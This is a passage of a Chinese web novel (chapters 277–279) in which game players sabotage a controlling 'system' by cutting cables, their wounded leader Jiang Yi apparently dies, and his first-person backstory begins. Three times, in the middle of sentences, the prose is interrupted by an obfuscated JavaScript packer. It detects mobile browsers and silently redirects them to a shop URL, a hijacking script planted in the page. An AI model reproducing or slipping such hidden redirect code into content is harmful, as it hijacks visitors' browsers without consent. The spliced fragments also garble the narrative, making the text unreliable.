C13补充道:“机器状态我们也会远程监控,就算有突发状况,你们都是高阶玩家,见机行事,一定会OK的。” 随歌还是抖个不停:“我真的害怕啊,我的排名能上前一百是多亏了意哥带我的。要是没有他,我估计早就死副本里了啊……” D19揉了揉额角:“随歌,冷静点。计划推演了上千遍,所有能想到的意外都有应对方案。现在最需要的是你们稳住心态。” 景明垂一直盯着墙上的挂钟,忽然道:“十二点四十了,意哥怎么还没有从副本里回来?” 初与序从沙发上站起身,打开耳机盒取出一侧耳机,塞进右耳,然后用长发遮住,道:“先下去吧。” 没时间再等,四个人迅速检查各自的耳机,然后套上宽大的连帽外套,将帽檐压低,遮住大半面容。再套上平时很少穿的衣服。在这种大黑天,即使遇到熟人,也很难认出他们四个。 三位执行官跟在他们后面,一行人离开D栋。 从D栋前往五栋系统大楼,中途会通过中央车站。一行人走到离车站还有一段距离时,远远就看见D019次列车正朝着这边疾驰而来,但速度比平时快很多,像是在急着干什么。 随歌眼睛一亮,快步跑了过去:“意哥回来了,还挺准时哈!” 列车进站,还没停稳,车门就猛地向两侧打开。 四个人过去,在看清下一幕时纷纷僵在原地—— J23撞开车门冲了出来,半拖半抱着一个浑身是血的人,朝着站台外吼:“医疗队!医疗队呢!搭把手!这玩家快不行了!” 是江意。 他浑身浴血,几乎看不到一块完好的皮肤,惨白的脸上沾着血污。初与序等人从未见过任何玩家伤得如此惨重,伤口深可见骨,鲜血不断涌出,滴滴答答地在地面上拖出一条长长的血痕。 冬逢初反应过来,冲上前接过江意。满手沾到了温热的血,江意闭着眼,轻飘飘的,眼镜镜片上也糊了大半的血。他身体的多处地方软绵绵的,伸手一摸,能摸到不正常的凹陷,不止一处的骨头断了,大臂的骨头甚至刺破的皮肉,白森森一截露在外面。 但他的两只小臂和手却被保护得相对完好,手臂上也有伤口,但骨头没断。 周围零星几个晚归的玩家被这景象吓到,纷纷别过脸不敢再看。 随歌吓得眼泪就哗啦啦流了出来,腿一软差点就跪了下去:“意哥?意哥!你怎么了?你醒一醒啊!!” 担架车被两个执行官推着冲过来,手忙脚乱把江意放了上去,转身就要往医院方向跑。 “往那边跑个锤子啊!”J23一把拽住担架,吼道,“医院治不了!人快死了!去总部!直接送总部能量灌输抢救!把命吊住再说!” 抬担架的几个执行官立刻反应过来,调转方向,推着担架车朝着系统总部大厦狂奔。 初与序等人下意识就要跟上去,接着他们就看见江意从担架边垂下一只血迹斑斑的手,艰难地朝着他们的方向比了个手势。 那是之前约定过的“按计划进行”的手势。 几个人脑子轰地一炸,眼前发黑,大脑空白。心疼、震惊、酸楚和一股强烈恐惧的寒意搅成一团,浑身发冷,只能眼睁睁看着江意被推远。 江意,你说的去副本取道具,就是把自己弄成这样,让系统把你“合法”地送进总部吗? 你保护着自己的小臂和手,是为了能剪断总机电线吗? 他妈的。 “零点五十五了!”J23冲过来,压低声音对四个人喊,“意哥说保持通讯,快点去!” 初与序第一个转身,朝着办事区冲去。另外三人立刻分散开来,朝着各自的位置飞奔。 齐无尽早就等在办事区分机大楼入口,初与序到达那里时,墙上的电子钟跳动到凌晨一点整。 两人顺利进入大厦,齐无尽来到楼梯道内,悄悄推开一扇维修通道小门,带着初与序七拐八绕往上走。偶尔能听到外面传来执行官巡逻的脚步声,但每次都能被他们避开。 安全通道的电梯往上,到达顶层的楼梯道内,初与序推开大门,恰好看到几个穿着制服的执行官踏入电梯,电梯门合拢。 走廊里空无一人,她快步冲向早就看好位置的分机机房。齐无尽跟上,用一张权限卡在感应区刷过。绿灯亮起,门锁发出咔哒声。 初与序推门进去,按着耳机,低声道:“我进机房了。” 机房很大,天花板很高,排列着黑色机柜,发出嗡鸣声。冷气开得很足,吹得人发寒。房间正中央是一台比周围机柜大很多的银灰色控制台,正面全是指示灯和显示屏。 初与序绕到控制台后方,那里有一块可以活动的挡板。她蹲下身撬开卡扣,挡板打开,露出了后面密密麻麻的电线。其中有三根颜色鲜艳的粗电缆:红,蓝,黄。它们从深处的管道接出来,连入控制台底座。 齐无尽站在她身侧:“准备好了吗?” 初与序点头。 齐无尽走到控制台正面,在键盘上输入一长串复杂的指令,按下回车。 正中的主屏幕亮起,显示出五栋建筑的简易轮廓图,每栋楼里都有一个机器标识,旁边列出了文字说明: 【初始功能分配(20秒后清除)】 「总机:红-A,蓝-B,黄-C」 「办事区分机:红-B,蓝-C,黄-A」 「处理区分机:红-C,蓝-A,黄-B」 「处罚区分机:红-A,蓝-C,黄-B」 「维修区分机:红-B,蓝-A,黄-C」 初与序快速阅读每一行,将每一个字母和颜色的对应关系刻进脑海。刚记住最后一行,屏幕上的图文立刻消失,恢复成待机的深蓝色。 “记住了?”齐无尽问。 “记住了。”初与序回到机器后方。 齐无尽也没惊讶,立刻转身回到门边,守着外面的动静。 初与序从面板里取出一把绝缘剪,根据刚才的初始功能分配,她这台机器上,黄线对应的是A,也就是主电源线。 她将绝缘剪的刃口卡在黄线靠近接口的位置,用力一合。 只听咔嚓一声,黄线应声而断,露出了线头的铜芯。 紧接着,控制台主屏幕上亮起一行红色的字: 【功能重组中……A、B、C功能分布已更新。】 初与序抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210755|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看了一眼,超过一半的指示灯和屏幕已经熄灭,几秒后,剩下的指示灯开始闪烁重组。红灯稳定亮起,代表黄线位置的指示灯开始闪烁。 她立刻从口袋里摸出打火机,打开火苗,将火焰凑近黄线切口处的铜芯。 火舌舔上去,铜芯先是没什么变化,几秒后开始微微发红,表面氧化发黑。初与序移开目光,同时去观察指示灯的变化。 她剪断了黄线,机器上原本的分配已经重组,根据指示灯反馈,现在她的机器红线是B,蓝线是A,黄线是C。冬逢初的机器原本是红线为C,蓝线为A,黄线为B。那么现在,他的机器上蓝线对应的是A。 她抬起另一只手按住耳机:“冬逢初,你的机器现在红线是B,蓝线是A,黄线是C。剪蓝线。” 墙上的时钟指向一点十五分,耳机里传来冬逢初的回应:“收到”,能明显听出他现在很紧张。 初与序又看向打火机,大概烧了十五秒,铜芯已经彻底变黑起皱。她这才移开打火机,将火苗熄灭。 齐无尽从门外走回来,扫了一眼控制台的状态:“好了?” 初与序站起身点了点头,她左右看了看,机房侧面有一排用于存放备用线缆的柜子。她拉开其中一扇柜门,里面塞满了成卷的电线,但足够她藏进去。 她回头看了齐无尽一眼,齐无尽会意,转身将机房的门锁好,然后闪身躲入另一排机柜后。 初与序走进柜子,将柜门拉上。 几分钟后,走廊里再次响起有规律的脚步声,由远及近。换班的执行官开始巡逻,他们在机房门外停顿了片刻,低低交谈了几句。几秒后,脚步声再次响起,渐渐远去,最后消失在走廊尽头。 此时此刻另一边,江意紧闭着眼,躺在担架车上。推车的两个执行官边跑边喊:“让开!有玩家重伤!快让开!” 系统总部大厦门口的执行官听到喊声,连忙将门打开,担架车被推了进去。 江意能闻到自己身上的血腥味,以前胃癌发作时,那种绞痛和现在比根本算不了什么。耳边是持续不断的嗡鸣,只能隐约听到执行官杂乱的脚步声和喊叫。 “天,这不是全服第一吗?” “是那个叫江意的?怎么弄的……” “还有气吗?看他不动了。” 疼到了极致反而到了麻木,但仍然能感受到那撕心裂肺的痛楚。他开始头晕目眩,眼前一阵阵发黑,胃里翻江倒海,喉头涌上铁锈味。 江意忙用手肘撑起一点身体,侧过头呕出一大口鲜血,里面混着几块内脏碎块。 旁边的执行官被吓了一条:“我靠!你怎么是醒着的?” 他下意识伸手要去扶江意的肩膀,江意额头冒出冷汗,哑声道:“别……碰我,疼。” 那只手连忙缩回去,江意勉强睁开眼,眼前是一片黑暗,什么也看不见。过了好几秒,那片黑暗才缓缓退去,露出光影。最先看清的是身下白色的担架,但已经有一大片被自己的血染红。 他感觉刺骨的冷,让他控制不住地发抖。江意还是仰起头,去看周围。 这里是总部大厅,非常大,天花板极高,天上悬挂着几盏巨大的水晶吊灯,地下站着穿着制服的执行官,只有他一个玩家。 气氛很严肃,甚至有些压抑,不像其余大厦里偶尔还能听见交谈和笑声。每个经过的执行官都会停下脚步看向担架车,脸上露出惊愕的神情,然后转头和同伴低声交谈几句。 他又脱力地倒回担架上,闭上眼。 277.雪花你能否掩盖悲伤 担架车被推进电梯间里,执行官快速按下顶层十八楼的按钮,门合拢,电梯快速上升。 耳边很快传来“叮”的一声,电梯到达顶楼,门刚打开,推车的执行官就朝着外面大喊:“快他妈来人!有玩家副本重伤!” 两个穿着防护服的执行官从一扇门里走出来,其中一人看了一眼担架上的江意,震惊道:“伤成这样……能撑到能量抽取程序启动吗?” 另一个人已经接手推过担架车,焦急道:“别废话了!快点推进一号准备室吧!” 江意被推入一间纯白的手术室,白色的墙壁,白色的地板,白色的设备,他身上的血滴落下来,倒染出了一片片刺目的红。 两个执行官不敢将他移到病床上,甚至不敢碰他,只将担架车放在手术床边,手忙脚乱地调整旁边的仪器,将一个氧气面罩按在他脸上。 接着两个人转身冲出手术室,去抽取永冬之城的能量。 江意睁开眼,他吃力地抬起一条胳膊,扯掉脸上的氧气面罩,扔在地上。随后扶着担架车边缘,翻身下来。腿一沾地,剧痛就立刻从断裂的骨头处传来,他痛得蜷缩了一下,又咬着牙起身,硬是用胳膊和膝盖撑起身体往门口挪。 起初还能扶着墙壁半走半爬,但没挪出多远,双腿就因为骨折彻底失了力,只能完全靠两条手臂拖动身体,一点点向前爬。身下的白地板拖出一道血痕,他心里有点抱歉,把这么干净的地方搞得血漆马虎,真的对不住执行官们。 总机控制室就在对面,他爬到门前,从面板里摸出权限卡,在感应区晃了一下。门锁打开,他又爬进门内,将门推上,锁死。 直到这时,他才有机会将耳机戴上,耳机里很快传来四个队友混乱嘈杂的声音,其中最大声的是随歌,带着哭腔:“意哥?意哥你怎么样了?你现在到哪里了?你还好吗?你,我……” “我到机房了……”江意开口说话,牵动了嘴角的伤口。他喘了口气,尽量平稳声音,“别紧张,继续剪你们的线。” 他边说着,边拖着身体爬到房间中央的控制台后面,撬开卡扣后,他庆幸自己将手指保护好了。挡板落下,露出了后面红、蓝、黄三根电缆。 耳机里随歌那边的背景音很乱,他语无伦次重复着推算的步骤:“红……红灯闪了两次,然后□□……不对,黄灯亮了……我算不出来,我不知道你那边对应哪根……” 江意轻轻叹了口气,柔声道:“随歌,没事的,我们慢慢来,一步一步说。我相信你,即使错了也没关系。” “回答我,刚才红灯闪了几次?□□呢?” 随歌将手按在自己胸口,努力平复下自己的心跳:“红灯闪两次……黄长亮……蓝灭……现在总机……红灯是C,□□是B,黄灯是A。意哥!按C→B→A的顺序剪!” “做得很好。”江意笑了一下,他伸出手拿出面板里的绝缘剪—— 【警报!警报!根据玩家紧急通报,有非法入侵者进入系统总部,意图摧毁系统核心!所有执行官立即进入一级警戒!】 刺耳的系统警报声响彻了整个永冬之城,也穿透了总机室的墙壁,震得江意耳膜发疼。 江意一愣,刚要开口,耳机里突然响起一阵刺耳的噪音,五个人的通讯被强行切断。他吃力地抬起头,控制台主屏幕亮起红光,上面有一行文字: 【检测到入侵威胁,启动紧急防护协议:执行一次额外的ABC功能随即重组。】 这就意味着,在通讯切断后,五台机器的功能对应又被随机打乱了一次,随歌平尽全力推算出的线路信息,现在全部作废。 江意平静地看着那行红字,抬手擦去嘴角的血。 办事区分机室,初与序耳机里传来刺耳的鸣叫,和警报混杂在一起。她一把按住耳机:“喂?意哥?随歌?” 可没有任何回应。 她脸色一变,抬起头:“通讯被切断了!” 齐无尽冲到窗边向下看去,整个永冬之城的照明灯光被切换成红色,地面上无数执行官从各个大楼涌出,汇聚向系统总部。同时也有好几队执行官正朝着办事区大楼逼近。 齐无尽一把推开机房的门:“你们被人举报了!快离开这里!” 五间机房的通风口里同时喷出大量麻醉气体,楼梯间里密集的脚步声渐渐清晰可闻,正在快速靠近这里。 江意清楚,他们没有第二次机会了。若他毁了总机,计划成功。若他失败,五个人一个也跑不掉。 他一个人没有办法推算,也无法再联系上其他人获取新的信息。 他看着那三根电缆,一秒的寂静后,突然伸出力气较大的右手,张开五指,一把将三根电线用力攥在了掌心! 接着他拿起绝缘剪,将剪口卡在三根电线并拢的位置,用力剪了下去—— 三根粗电缆同时被剪开,线芯裸露,一瞬间接触,短路! 眼前是炸开的蓝色电火花,噼啪作响。 一股强大的电流疯狂地顺着江意握着电缆的右手蹿上肩膀,冲向大脑,灼烧神经。他浑身剧烈地抽搐了一下,牙齿陷进下唇,低头发出闷哼。 短路产生的高温将铜芯熔化,滴落到地板上,火星溅到他手上,烫出黑点。 控制台内部传来一阵噼里啪啦的声响,所有指示灯疯狂乱闪,然后同时熄灭。巨大的屏幕闪烁了几下,最后彻底黑了下去。 警报声停了,红灯灭了。 一切都他妈乱套了。 初与序和齐无尽冲出办事区大厦时,街道上已经密密麻麻挤满了被惊醒的玩家,人声鼎沸,像一锅烧开的滚水。执行官们声嘶力竭地吼着维持秩序,最后不得不拿出喇叭吼: “所有玩家保持原地不动!不要拥挤!不要靠近警戒区域!” “重复!系统遭遇突发故障,正在紧急处理!请各位保持冷静,返回各自住所等待通知!” “不要推搡!后退!后退!” 初与序环顾四周,到处都是攒动的人头,陌生的面孔,就是看不到熟悉的身影。她的手不受控制地开始发抖,从口袋里摸出手机,给江意拨去电话。 听筒只有忙音,嘟——嘟——嘟—— 初与序觉得自己一辈子都忘不掉这个令人绝望的声音。 “初与序!” 随歌拨开人群,跌跌撞撞地跑过来。 “意哥呢?!”初与序道,“有没有意哥的消息?!” “没有啊!打不通他电话!系统把网络全切断了!”随歌哭喊道,“他妈的,怎么会……怎么会有人举报……” “你们快看那里!”有玩家突然尖叫起来,手指向一个方向。 初与序抬起头,顺着颤抖的手指看过去。 系统总部大厦,在顶楼某一扇窗户后面,隐隐有淡淡的烟雾冒出来,缓慢飘散在夜空中。 初与序认出来了,那扇窗户是总机房。 她和随歌在下一秒同时拔腿,朝着总部狂奔而去! 总部周围已经拉起了红色警戒线,执行官们面无表情地守在周围,禁止任何玩家靠近。不断有执行官从大楼里进进出出。 随歌嘴唇哆嗦着,不可置信道:“系统……系统被摧毁了……意哥是怎么做到的……他身上……他伤得那么重!他现在必须立刻接受治疗!” 他突然爆发出巨力,猛地推开挡路的人群,直直冲向警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210756|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戒线。初与序紧紧跟在他身后,大脑一片空白,久久回不过神。 “站住!禁止靠近!”执行官立刻举起枪对准两人。 随歌不管不顾,冲到对方面前吼:“我们队长!江意!他受了重伤在里面!他现在必须立刻治疗!让我们进去找他!” 那个执行官看了他一眼,嗤笑一声:“你们队长?呵。我们初步判断,就是他故意重伤,给自己体内打入清醒剂,潜入总部,破坏系统线路。就算救回来了,也难逃死刑。” “况且,没有人和他通信息,他想彻底破坏线路,只能徒手切断三根带电电缆。你觉得一个负重伤的人,再承受那种强度的电击,还能活下来吗?” 随歌腿一软,差点跪下去,被初与序扶住。 江意是全服第一。全服第一,怎么可能死? D19和J23猛地从旁边的人群里冲出来,一人一个拽着两人从警戒线前拖开,一直拉到旁边一条小巷暗处。 D19急得满头大汗:“你们两个!还往那种显眼的地方凑什么?!系统被江意破坏了,他已经彻底暴露了!别让那些执行官注意到你们和他是一伙的!” 随歌像是没听见,眼泪疯狂往下掉:“他不可能死的啊!他肯定还活着,我们要去救他……放开我!” S23气喘吁吁跑过来,劈头就是一句:“他妈的!江意他疯了吗?!他是不是从一开始就打算——” “我不管他疯没疯!”随歌用力甩开D19的手,“老子现在就要去见江意!我要听他亲口说怎么回事!为什么要用那种方式?为什么非要把自己弄成那样!他就那么想死吗?!” 他说着又要往外冲。 J23猛地扣住他肩膀,另一只手抬起,毫不留情地一巴掌扇了过去! 随歌被打得偏过头,愣住了。 J23盯着他,眼圈也是红的:“随歌!你还不明白吗?!他这一趟根本就没想过活着回来!” “你们不能再出事了!你看看周围!看看现在有多少双眼睛盯着你们四个!但凡你们露出一丁点不对劲,那些人就会立刻上报给执行官!你们想他白死吗?!” 随歌抿着唇,站在原地不动了。 初与序缓缓抬起头,看了看总部大厦那扇已经不再冒烟的窗户上,又看了看自己的面板,上面是江意十分钟前转移给她的SSS级权限,还有一张银行卡,和一张机票。 手背上忽然感觉到几滴凉意。 又下雨了吗?她低下头看向自己的手背。几滴透明的水珠正躺在上面,慢慢晕开。 这是从她眼眶里落下的。 当执行官们破开总机房的门时,看到的就是重伤的江意。 他靠坐在控制台边,低垂着眉眼,气若游丝,被冷汗浸湿的碎发贴着额角。右手还紧紧攥着三根电缆,手掌已经和电线黏在了一起,血肉模糊。惨白的灯光劈下来,勾出他眉骨与鼻梁的起伏,一路滑进半阖的眼睑。即使是在这么狼狈的濒死情况下,这张脸的轮廓也仿佛仍是造物主精心雕琢过的那样,如未染尘泥的冰玉。 江意很费力地睁开眼,看向为首的齐无尽身上。 齐无尽站在原地,面无表情地和他对视。就见江意露出了一个温柔却带血的笑容,动了动唇:“麻烦了。” 所有执行官惊愕地看着他,一时间没人上前。 紧接着,江意缓缓合上了眼睛。 ——就像睡着了一样。 窗外渐渐下起了大雪,纷纷扬扬落下。几片雪花飘入窗内,打着旋落在了江意低垂的眼睫上,融化成一点水痕,顺着脸颊滑落,像迟来的眼泪。 雪花你能否掩盖悲伤,雪花你能否安葬亡者。 278.江意自述 确诊胃癌的时候,我十六岁。 我拿着那张检查单,在医院外面的台阶上坐了很久,久到天色黑了下,路边已经见不到一个行人。 其实我没想太多,只是觉得终于有一样东西不是我能控制的了。从小到大,一切都在计划之中,成绩、竞赛、利益、交际,甚至未来如何辅佐我弟接管公司,每一步都是被规划好的。如今癌细胞在我身体里生长,倒成了唯一不受控制的。 我是江家的长子,却不是继承人,这一点我身边人都知道。父母待我,说得好听点那叫严苛,不好听就是没感情。小时候学钢琴,弹错一个音就会挨打,十二岁学管理,陪父亲参加商业谈判,说错一句话就会罚跪。 他们却宠我弟,我弟叫江思,不是什么好鸟,逃课打架,飙车泡吧,但江家大部分股份都在他名下,他才是未来的继承人。无论我多么优秀,为公司赚多少钱,只要我父母活着,我就比他低一头。 初三升高一时,原本父母打算让我和江思上同一所国际学校,方便照看他。其实就是让我替他写作业,考试作弊,收拾烂摊子什么的。 但暑假时,因为公司一个项目决策,我与父亲大吵一架。我说那个项目风险太大,他说我不知天高地厚。 “江意,你搞清楚自己的位置。”父亲冷冷看着我,“没有江家托举,你什么都不是,在外面活都活不下去。” 我回了句什么来着?哦,我说:“那就试试。” 他绝不允许我顶嘴,站起来扇了我一巴掌,脸颊火辣辣地疼。然后他让人改了我的中考志愿:“既然你觉得你自己能耐,就去其他学校待着,看看每一页江家的资源,你还能不能这么做。” 直到前几天快开学时,我随手拿起桌上的录取通知书,一看才看见我去了五中。五中在北京丰台区,离我家十万八千里远,不算最差,但也不好,中等偏下。至少清净,不会有江思那帮狐朋狗友天天在眼前晃。 七月的北京燥热,我一向不喜欢在夏天出门,这次来医院也是难得。连续吐了一周,胃疼得实在厉害,有时候半夜会疼醒。检查结果出来,才知道我得了胃癌。 坐在台阶这里,我算了算时间。中期,治疗的话大概能活几年?不治疗的话,一年?两年?无所谓了。我不想治。即使治好了,然后继续给江家当牛做马吗?就我和江思的关系,等他继承了公司,大概会直接把我踢出局。 得了,不治了。 “哥们,看你这表情挺沉重啊。” 身后传来声音,他转过头,一个男生,棕色头发,耳朵上戴着花里胡哨的耳钉,咧着嘴朝我笑。 我站起来想走,他一把勾住我脖子,坐到我旁边:“诶别走啊,我和你讲,胃癌中期治愈率有百分之六十呢!我外公就是,胃癌中期,治好了,现在上蹦下跳的,身体倍儿棒。我这次就是陪他来复查的,你别难过啊。” 我沉默几秒,说:“我没难过。” “行啊,哥们比我豁达。”他伸出手,“交个朋友呗?我叫苏叶,五中的,明天就开学了。” 我没搭理他。 苏叶“啧”了一声,把手收回口袋里,叽叽喳喳道:“五中你知道吧?就丰台那边。我听说今年分数线还涨了,没想到吧?其实那里老师都挺负责的,除了教导主任有点烦……” 我被他吵得头疼,胃又开始隐隐作痛。 谢天谢地,在他讲了一半时,他口袋里的手机响了。他掏出来看了一眼,手忙脚乱接起来:“喂?若梦姐——” 电话那头传来女人的吼声,隔着半米我都能听见:“苏叶!你又跑去网吧!找死是不是?我跟你说了多少次晚上不许出门!现在凌晨三点了!” 苏叶把手机拿远一袋:“姐,我没去网吧,我在医院呢,真的——” “医院?你骗鬼呢!我同事刚看见你从‘鲸鱼’出来!” 我抬头一看,医院对面那条街上就有家网吧,招牌上写着“鲸鱼网络”四个大字。 苏叶干笑两声,求饶道:“姐我错了,我现在立刻马上回家!真的!十分钟,不,五分钟!我跑回去!” 电话那头又骂了几句,挂了。 苏叶收起手机,尴尬地和我对视。 我看着他:“你无中生外公?” 苏叶“嘿嘿”笑了两声:“那个,那个,你就当没听见啊!” 他跳起来,倒退着往后走,一边走一边挥手:“我得回家了!希望我们俩明天还能见哈!对了哥们,你叫啥!” “江意。” “江意……好名字!明天见!” 他转身跑起来,很快消失在街角。 还有三小时学校就开门了,当晚我没回家,随便找了个旅馆住下。天亮时,我去了五中,走进高一(一)班,朝着最后一排靠窗的空位走去。 刚把书包塞进桌肚,一转头,才发现旁边有个同桌,正埋头呼呼大睡。棕色头发,耳朵上戴着一枚花里胡哨的耳钉。 ……不会这么巧吧? 我盯着那天后脑勺看了几秒,确定就是昨天那个叫苏叶的。他睡得正香,一只手垫在脸上,另一只手垂在桌边。 前排的男生突然转过头,敲了敲我桌子:“兄弟,你是不是江家那个大少爷?” 我没说话。 “我听说江家那个大少爷被塞进咱们学校了,还就在咱们。”他凑近一点,“是不是你?” “滚。” “脾气还挺大。”男生转过身去,开始摇苏叶:“叶子,叶子!醒醒!” 苏叶被他摇得晃了晃,迷迷糊糊地抬起头,眼睛还闭着:“干嘛……” “昨晚豹队的比赛看了没?”前排男生兴奋地说,“第三句那个绕后偷家,绝了!” 苏叶勉强睁开一只眼,打了个哈欠:“当然看了,豹队那操作帅呆了,中单闪现开团,辅助跟得也及时……”他说着说着,然后像是突然意识到什么,转过头。 我们四目相对。 ……装作不认识行不行? 苏叶睁大眼,露出一个灿烂的笑容:“意哥!又见面了!原来你和我在一个班啊!” 他凑过来,压低声音:“意哥,你和我做同桌,高中三年可有得玩了。我前几天熬夜把整个五中探了一遍,所有可以出五中的路线都摸熟了。后门东边围墙有个缺口,保安下午两点换班,那个时间溜出去最安全。你要是想逃课,直接叫我,我带你一起去,绝对不被老师发现。” “……” 他继续道:“还有咱们一班班主任叫康师,学长们都叫他‘康师傅’,教语文的,听说他耳朵没那么好,咱们上课小声说话他听不见,但是——” “谁耳朵不好了?” 苏叶被吓得“哇”一声从座位上蹦起来,脑袋差点撞到墙。全班同学齐刷刷转过头,看向我们这边。 只见一个秃头中年男人端着茶杯站在窗外,他穿着白衬衫,戴着老式眼镜,面上戴着笑意。 苏叶惊魂未定:“康师……不不,康老师,您啥时候来的?怎么走路没声啊?” 全班哄堂大笑。 康师傅推开门走进来,慢悠悠地踱到我们桌前,先看看我,再看看苏叶:“苏叶同学,开学第一天精神头很足嘛,我们五中的老师们都听说过你初中三年的辉煌事迹呢。” 苏叶干笑两声:“老师,那我还挺出名啊……” 康师傅似笑非笑地看着他,转身走回讲台,清了清嗓子:“同学们,安静。我是你们的班主任,康老师,教语文。未来的三年,希望大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210757|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相处愉快。” 点完名,我才知道坐我前面的男生叫刘琰,和苏叶是同一个初中的,现在又被分到高中同一班。 接下来一整天,苏叶和刘琰向我展开了表演——刘琰掏出一包泡面,将面饼放在保温杯里,倒热水。三分钟后,教室里飘起一股红烧牛肉面的味道。 我推了推他的椅背:“味道能不能小一点?” “意哥,味道这东西我控制不了啊。”刘琰小声道,“还有,难道你不觉着香吗?” 我沉默了。 过了五分钟,苏叶拿出了一个小型酒精炉,我不知道他是怎么带进学校的。接着点上火,架上一个铁盒,开始煮什么东西,味道像巧克力又像辣酱,液体咕噜咕噜冒泡。 我忍不住,道:“安静点。” 苏叶咧嘴笑:“好的。” 他关掉酒精炉,安静了五分钟。 然后我听见旁边传来“咔哒咔哒”的声音,转头一看,苏叶正用掰巧克力。 我深吸一口气:“你做什么?” “巧克力火鸡面,你要尝尝吗?”他举起一个小碗,里面是盖着巧克力酱的火鸡面。 我气不打一处来:“我没问你在做什么东西,我说你做什么做。” “好吧那我尽量小点声。”他把碗收起来。 又过了几分钟,我听见旁边传来“咕噜咕噜”的声音,像水冒泡。我猛地转过头,就看见苏叶蹲在课桌下面,将一个透明塑料箱放在地上,箱子里装满了水。他把脸埋进水里,鼓起腮帮子吐泡泡。 我:“?” 苏叶伸出手,水珠顺着他下巴滴下来。他抹了把脸,冲我笑:“嘿嘿,我在模仿金鱼吐泡泡。” “……你有病吗?” 谁家好人模仿金鱼啊,我被他噎得说不出话,转回头戴上耳机,高中的知识我初一就学会了,也不打算听课了。胃又疼了起来,我按了按腹部,从口袋里摸出手机。 屏幕上十几条未读消息,全是江思发来的。 【SB】:哥,放学给我带新版PS5回来,还有那个限量版手柄。 听到没? 你人呢? 江意你死了? 我告诉你,你不给我买,我就告诉爸妈你昨天没回家。 说话! 行,你等着。 最后一条是五分钟前发的:「爸已经知道了,你等死吧。」 一股烦躁涌上来,我回了个「滚」字,把手机往抽屉里一摔。 要不是爸妈站在他那边,我肯定给他骂得找不着北。 苏叶被我吓了一跳,凑过来看手机屏幕:“你弟啊?好贱。” 我点头。 苏叶“啧”了一声:“来来来把手机给我,我来帮你回,保证气死你弟。” 我看着他犹豫了一秒,把手机递给他。他接过手机,在屏幕上飞快打字,我看不清他发了啥,只能看到消息一条接一条发过去。江思显然被激怒,回复得很快,但翻来覆去就是那几个脏字。 两个人互相问候对方父母,苏叶道:“就这?你弟骂人都不会,我来教教他什么叫骂人……” 最后,江思发来一句:「你他妈敢骂我爸妈?」 最后苏叶删除拉黑一条龙,把手机还给我时才反应过来,干笑两声:“嘿嘿,那个,刚才骂得一时起劲,忘记你们俩是同一个父母了。” 我忽然觉得有点好笑,从小到大没人敢这么对江思。父母护着他,老师让着他,连公司的员工都捧着他。这个苏叶,才认识一天就把他拉黑了。 我下意识笑了一下。 “我操!”苏叶突然跳起来,“你竟然笑了!” 全班同学都看过来,包括老师。于是,苏叶喜提罚站一下午。 279.我们的家 五中不是住宿制,走读生晚上九点下晚自习。我站在校门口等司机,等了十分钟,车没来,手机响了,是父亲的电话。 我接起来:“爸。” “江意。”父亲冷冷道,“听说你今天让人骂你弟,还把他拉黑了?” 我沉默不语。 “我不管你们兄弟之间有什么矛盾,你现在立刻把江思加回来,给他道歉,否则今晚别回家了。” “爸,是他——” “我不想听解释。”父亲打断我,“还有,司机不会去接你了,你自己想办法回来。给你弟道歉,联系方式加回来,否则你就在外面过夜吧。” 电话挂了,我站在校门口,夜风吹过来有点冷。胃是情绪器官,我现在特别想骂人,所以胃又疼了起来,我只好按着腹部,深吸了几口气。 不回去就不回去,我摸了摸口袋,还有几百块现金,身份证也在,附近应该有旅馆。 我转身往街上走,没走几步,听到身后有人喊:“意哥!” 苏叶跑过来,将书包甩到肩膀上:“你咋还没走?等车?” “没。”我说,“司机不来了。” 苏叶愣了一下:“那你咋回家啊?我记得你家里这儿挺远的吧?你飞回去?” “不回了,找旅馆。”我有些累。 苏叶眼睛一亮:“住什么旅馆,浪费钱,去我家呗,我家就我一个人,我爸妈在国外,房间空着呢。”说着他就来拽我胳膊,“走走走,就当是谢谢你今天让我抄作业……虽然你没同意,但我还是抄了。” 我被他拉着往前走,忙道:“苏叶,我是同性恋。” 苏叶脚步顿了一下,转头看我:“所以呢?” “所以你还是别让我去你家了。” 苏叶扬起眉,看了我几秒,笑道:“那有啥,同性恋就同性恋呗,我又不歧视。而且你没办法回家也有我的责任,是我和你弟对骂的。” 他继续拽着我走:“放心,我对你没想法,就是收留个同学。再说了,你作业还得借我抄呢。” 我被他一路拉到一片老式居民区,楼房楼层高,没电梯。苏叶家住三楼,一室两厅,收拾的很干净。客厅里摆着沙发、电视、游戏机,墙上贴着几张动漫海报。 